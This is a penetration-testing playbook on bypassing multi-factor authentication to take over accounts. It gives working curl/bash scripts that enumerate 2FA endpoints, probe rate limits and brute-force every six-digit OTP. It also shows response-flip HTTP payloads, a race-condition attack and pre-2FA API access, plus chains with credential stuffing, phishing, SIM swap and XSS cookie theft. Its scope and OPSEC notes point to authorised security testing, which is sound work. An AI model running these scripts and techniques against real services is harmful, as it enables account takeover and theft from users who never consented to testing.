mfa-bypass

# MFA / 2FA Bypass Playbook Logic flaws in the second factor are pure ATO. Common because devs ship the *happy path* (enter code → success) and forget the negative paths: response tampering, brute force, replay, race, alternate flows, remembered devices. ## 1. Detection — map the 2FA surface Enumerate every flow that *should* require a second factor: ```bash # 1. Inventory paths involved in step-up for p in /login /login/2fa /api/2fa/verify /mfa/verify /account/security \ /account/email /account/password /password/reset /password/reset/confirm \ /oauth/authorize /api/session /api/session/elevate /backup-codes; do curl -s -o /dev/null -w "%{http_code} $p\n" "https://<TARGET>$p" done # 2. Submit a wrong OTP — what does the response look like? curl -s -i -X POST "https://<TARGET>/api/2fa/verify" \ -H 'Content-Type: application/json' -H "Cookie: session=<HALF_AUTHED>" \ -d '{"code":"000000"}' # 3. Rate-limit probe — burst 20 wrong codes for i in $(seq 1 20); do printf '%s ' "$(curl -s -o /dev/null -w '%{http_code}' -X POST \ "https://<TARGET>/api/2fa/verify" -H 'Content-Type: application/json' \ -H "Cookie: session=<HALF_AUTHED>" -d "{\"code\":\"$(printf '%06d' $i)\"}")" done; echo # If no 429 / lockout → brute force is open ``` ## 2. Flaw matrix | Class | Symptom | Bypass | |---|---|---| | Response manipulation | server returns `{"success":false}` but client trusts it | intercept → flip to `true` | | Status-code tamper | 401 vs 200 only checked client-side | rewrite `401 → 200` in proxy | | Flag tamper | `mfa_required=true` in JWT/JSON | edit to `false`, resign / unsigned alg | | No rate limit | unlimited wrong OTPs | 6-digit OTP = 10⁶ — brute over hours | | Per-IP limit only | limit on attacker IP, not on user | rotate IPs / X-Forwarded-For | | OTP reuse | same code valid after use | replay last code in a new session | | OTP no expiry | code from yesterday still works | mine old SMS / email | | Predictable OTP | seeded by `userid`/timestamp | precompute | | Backup-code abuse | unlimited tries, codes never expire / not invalidated | brute backup codes endpoint | | Race condition | two requests in flight — both succeed | parallel POSTs (HTTP/2 single-packet attack) | | Missing 2FA on flow | `/login` enforces, `/api/login` does not | use alternate endpoint | | Missing 2FA on password change | password change re-enables full session | reset → skip 2FA | | Password reset skips 2FA | reset token logs you in without 2FA | abuse reset link | | OAuth / SSO skips 2FA | social login returns a fully-authed session | login via Google instead | | Remember-me cookie | persistent cookie skips 2FA forever | steal remember-me via XSS / log leak | | Direct object access | `/api/account` works on half-authed session | call protected APIs pre-2FA | | Enrollment race | attacker enrolls own TOTP for victim before victim does | hit `/2fa/enroll` first post-login | | Recovery channel takeover | SMS → SIM swap, email → email ATO | downstream factor compromise | ## 3. Exploit PoC ### 3.1 Brute-force a 6-digit OTP (no rate limit) ```bash COOKIE='session=<HALF_AUTHED>' for i in $(seq 0 999999); do CODE=$(printf '%06d' $i) CODE_LEN=${#CODE} RES=$(curl -s -o /dev/null -w '%{http_code}' -X POST \ "https://<TARGET>/api/2fa/verify" -H 'Content-Type: application/json' \ -H "Cookie: $COOKIE" -d "{\"code\":\"$CODE\"}") [ "$RES" = "200" ] && { echo "HIT: $CODE"; break; } (( i % 1000 == 0 )) && echo "tried $i ..." done ``` ### 3.2 Response-flip bypass ```http # Original server response HTTP/1.1 200 OK {"success":false,"mfa":"required"} ``` Rewrite at the proxy: ```http HTTP/1.1 200 OK {"success":true,"mfa":"passed"} ``` If the SPA only inspects JSON to decide navigation, session cookie is already full-authed server-side and the redirect succeeds. ### 3.3 Direct post-2FA endpoint access ```bash # Half-authed cookie after username+password, BEFORE OTP curl -s "https://<TARGET>/api/account" -H "Cookie: session=<HALF_AUTHED>" # If it returns full account data → broken step-up. ``` ### 3.4 Race condition (HTTP/2 single-packet) ```bash # Use Turbo Intruder "single-packet attack" — fire ~30 verify requests with the # *correct* OTP in one TCP packet; servers that decrement attempts non-atomically # accept multiple, and 2FA-disable mutations slip through. ``` ## 4. Chains - **MFA bypass → ATO** is itself the chain endpoint. Pair with credential stuffing for scale. - **Password reset skips 2FA → ATO**: phish/reset email → straight in. - **Remember-me theft via XSS → permanent 2FA bypass** even after password change. - **Enrollment race → persistent ATO**: attacker becomes the legitimate 2FA owner. ## 5. Tools - Burp Suite + **Turbo Intruder** (race conditions, single-packet attack) - Burp **Match-and-Replace** rules for response-flip - `ffuf` / `hydra http-post-form` for OTP brute when no JS guard - **mitmproxy** scripts for live JSON tamper ## 6. Detection signatures & OPSEC | Indicator | Detection method | OPSEC note | |---|---|---| | Hundreds of `/2fa/verify` POSTs per session | App-level rate metric | Use a dedicated attacker test account; do not brute live victims without scope | | Same OTP value tried across users | SIEM correlation | Vary code per user when testing reuse | | Concurrent requests on same `state` token | App anomaly | Race PoC only on isolated test users | | Remember-me cookie from new geo | Risk engine | Validate with consent before extraction tests | ## Decision Gate: MFA bypass confirmed → exploitation - [ ] A path produces a fully-authed session without presenting the second factor - [ ] Bypass is repeatable, not a transient race artifact - [ ] Bypass requires only data an attacker can plausibly obtain (creds / phish / XSS / public flow) - [ ] PoC reads/writes a 2FA-gated resource (account settings, transfer, admin) If all checked, escalate per `finding-protocol` as **Critical (ATO)**.